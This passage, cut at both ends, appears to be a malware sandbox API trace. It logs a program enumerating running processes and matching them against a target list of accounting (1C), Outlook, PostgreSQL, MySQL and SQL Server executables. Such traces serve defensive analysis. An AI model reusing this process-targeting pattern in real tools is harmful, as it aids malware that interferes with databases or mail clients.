lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0072.660] lstrlenW (lpString="smss.exe") returned 8 [0072.660] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0072.660] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0072.660] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0072.660] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0072.660] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0072.660] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0072.660] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0072.660] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0072.661] lstrlenW (lpString="csrss.exe") returned 9 [0072.661] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0072.661] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0072.661] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0072.661] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0072.661] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0072.661] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0072.661] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0072.661] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0072.662] lstrlenW (lpString="wininit.exe") returned 11 [0072.662] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0072.662] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0072.662] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0072.662] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0072.663] lstrlenW (lpString="csrss.exe") returned 9 [0072.663] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0072.664] lstrlenW (lpString="winlogon.exe") returned 12 [0072.664] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0072.664] lstrlenW (lpString="services.exe") returned 12 [0072.665] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0072.665] lstrlenW (lpString="lsass.exe") returned 9 [0072.665] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0072.666] lstrlenW (lpString="lsm.exe") returned 7 [0072.666] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.667] lstrlenW (lpString="svchost.exe") returned 11 [0072.667] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.667] lstrlenW (lpString="svchost.exe") returned 11 [0072.667] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.668] lstrlenW (lpString="svchost.exe") returned 11 [0072.668] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.669] lstrlenW (lpString="svchost.exe") returned 11 [0072.669] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.669] lstrlenW (lpString="svchost.exe") returned 11 [0072.669] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0072.670] lstrlenW (lpString="audiodg.exe") returned 11 [0072.670] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.671] lstrlenW (lpString="svchost.exe") returned 11 [0072.671] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.671] lstrlenW (lpString="svchost.exe") returned 11 [0072.671] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0072.672] lstrlenW (lpString="dwm.exe") returned 7 [0072.672] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0072.673] lstrlenW (lpString="explorer.exe") returned 12 [0072.673] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0072.673] lstrlenW (lpString="spoolsv.exe") returned 11 [0072.673] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.674] lstrlenW (lpString="svchost.exe") returned 11 [0072.674] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0072.675] lstrlenW (lpString="taskhost.exe") returned 12 [0072.675] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0072.675] lstrlenW (lpString="taskeng.exe") returned 11 [0072.676] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0072.676] lstrlenW (lpString="spoken.exe") returned 10 [0072.676] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0072.772] lstrlenW (lpString="cut baby kind.exe") returned 17 [0072.773] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0072.774] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0072.774] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0072.774] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0072.774] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0072.775] lstrlenW (lpString="things apt speaker.exe") returned 22 [0072.775] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0072.775] lstrlenW (lpString="longest.exe") returned 11 [0072.775] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0072.776] lstrlenW (lpString="liberty.exe") returned 11 [0072.776] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0072.776] lstrlenW (lpString="robust.exe") returned 10 [0072.776] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0072.777] lstrlenW (lpString="browse.exe") returned 10 [0072.777] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0072.777] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0072.777] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0072.778] lstrlenW (lpString="blocked.exe") returned 11 [0072.778] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0072.778] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0072.778] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0072.779] lstrlenW (lpString="reno.exe") returned 8 [0072.779] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0072.779] lstrlenW (lpString="vancouver.exe") returned 13 [0072.779] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0072.780] lstrlenW (lpString="africa.exe") returned 10 [0072.780] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0072.780] lstrlenW (lpString="ph-pos.exe") returned 10 [0072.780] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0072.781] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0072.781] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0072.781] lstrlenW (lpString="peaceful.exe") returned 12 [0072.781] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0072.782] lstrlenW (lpString="louise_threshold.exe") returned 20 [0072.782] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0072.782] lstrlenW (lpString="scannerhit.exe") returned 14 [0072.783] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0072.783] lstrlenW (lpString="3dftp.exe") returned 9 [0072.783] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0072.784] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0072.784] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0072.784] lstrlenW (lpString="alftp.exe") returned 9 [0072.784] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0072.785] lstrlenW (lpString="barca.exe") returned 9 [0072.785] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0072.785] lstrlenW (lpString="bitkinex.exe") returned 12 [0072.785] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0072.786] lstrlenW (lpString="coreftp.exe") returned 11 [0072.786] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0072.786] lstrlenW (lpString="far.exe") returned 7 [0072.786] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0072.787] lstrlenW (lpString="filezilla.exe") returned 13 [0072.787] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0072.788] lstrlenW (lpString="flashfxp.exe") returned 12 [0072.788] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0072.788] lstrlenW (lpString="fling.exe") returned 9 [0072.788] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0072.789] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0072.789] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0072.789] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0072.789] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0072.790] lstrlenW (lpString="icq.exe") returned 7 [0072.790] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0072.790] lstrlenW (lpString="leechftp.exe") returned 12 [0072.790] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0072.791] lstrlenW (lpString="ncftp.exe") returned 9 [0072.791] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0072.792] lstrlenW (lpString="notepad.exe") returned 11 [0072.792] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0072.793] lstrlenW (lpString="operamail.exe") returned 13 [0072.793] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0072.794] lstrlenW (lpString="pidgin.exe") returned 10 [0072.794] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0072.794] lstrlenW (lpString="scriptftp.exe") returned 13 [0072.794] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0072.795] lstrlenW (lpString="skype.exe") returned 9 [0072.795] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0072.796] lstrlenW (lpString="smartftp.exe") returned 12 [0072.796] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0072.797] lstrlenW (lpString="thunderbird.exe") returned 15 [0072.797] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0072.798] lstrlenW (lpString="totalcmd.exe") returned 12 [0072.798] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0072.799] lstrlenW (lpString="trillian.exe") returned 12 [0072.799] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0072.799] lstrlenW (lpString="webdrive.exe") returned 12 [0072.800] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, 